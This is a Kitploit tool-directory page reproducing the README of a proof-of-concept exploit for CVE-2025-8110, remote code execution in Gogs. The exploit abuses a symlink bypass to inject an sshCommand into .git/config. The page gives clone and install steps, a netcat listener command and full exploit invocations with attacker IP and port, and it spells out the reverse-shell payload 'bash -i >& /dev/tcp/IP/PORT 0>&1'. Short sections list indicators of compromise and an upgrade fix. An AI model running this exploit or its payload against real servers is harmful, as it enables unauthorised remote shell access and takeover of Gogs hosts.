Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2025-8110 — Gogs RCE PoC - CVE-2025-8110 | Kitploit
Tools/GitHubGitHub/x4brozer/cve-2025-8110
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingRed TeamingPayload Development
GitHubx4brozer/cve-2025-8110

CVE-2025-8110

Gogs RCE PoC - CVE-2025-8110

View Repository
137 months agoNot yet reviewed
Share

Gogs RCE Exploit (CVE-2025-8110)

Python License

Proof of Concept for CVE-2025-8110 - Remote Code Execution in Gogs via symlink bypass and sshCommand injection.

Description

This exploit abuses a symlink bypass in Gogs API to overwrite .git/config and inject malicious sshCommand that executes a reverse shell.

Requirements

  • Python 3.12+
  • Git installed
  • Valid Gogs credentials
  • Gogs API token

Installation

git clone https://github.com/X4BROZER/CVE-2025-8110.git
cd CVE-2025-8110
pip install -r requirements.txt

Argument Description -u, --url Target Gogs URL (e.g., http://target:3000) -U, --username Gogs username -P, --password Gogs password -t, --token Gogs API token -lh, --host Your IP for reverse shell -lp, --port Your port for listener -x, --proxy Enable proxy (localhost:8080)

Usage

Step 1: Get API token

Login to Gogs → Settings → Applications → Generate token

Step 2: Start listener

nc -lvnp 4444

Step 3: Run exploit

python3 exploit.py -u http://target:3000 -U <USERNAME GOGS> -P <PASSWORD GOGS> -t <TOKEN> -lh <ATTACKER IP> -lp <ATTACKER PORT>

Example

python3 exploit.py -u http://localhost:3001 -U amine -P amine -t 44f4e64a1e6353f247050055aa0d3cc13b577ac3 -lh 10.10.17.134 -lp 4444

How it works

Creates repository with symlink to .git/config

Uses PutContents API to write to symlink

Injects sshCommand = bash -c 'bash -i >& /dev/tcp/IP/PORT 0>&1' #

Gogs executes command → reverse shell

Troubleshooting Problem Solution Login failed Check username/password Repo creation failed Regenerate API token Read timeout Normal - check listener No shell Check firewall, try different port Indicators of Compromise Random 8-character repository names

malicious_link symlink in repos

sshCommand in .git/config

Remediation Update to Gogs v0.13.4 or later:

wget https://dl.gogs.io/v0.13.4/gogs_v0.13.4_linux_amd64.tar.gz
tar -xzf gogs_v0.13.4_linux_amd64.tar.gz

Legal Disclaimer This tool is for educational and authorized testing only. Unauthorized access is illegal.

Credits Discovery: Wiz Research

Original PoC: zAbuQasem

Exploit: X4BROZER

Download Tool

Most Popular

View all →

Discover the most used tools by our community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 The ultimate OSINT toolkit: investigation graph, confidence scoring, alias families, map, timeline and reports. 49 modules, 400+ sites, no API keys required.

    772
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock One-Tap Execution App (CVE-2026-43499)

    505
  • 3

    ARTEX

    baarai/artex

    LLM multi-agent autonomous penetration testing platform with planner/worker agents, asset and exploration graphs, MITM traffic recording, and vulnerability retesting.

    420
  • 4

    redforge

    cybersecurity91/redforge

    Browser-side red team toolkit with 102 offline tools for recon, payload generation, credential attacks, crypto, encoding and engagement reporting.

    345
  • 5

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    The system of action for AI-native cybersecurity—where intent becomes governed execution, evidence becomes operational memory, and every operation improves the next.

    260
  • 6

    antifox

    antifox-ai/antifox

    AI multi-agent autonomous penetration testing platform that runs recon, attack-surface discovery, exploitation validation and evidence-backed report delivery.

    251

Explore all tools

Browse our collection of tools

View all tools →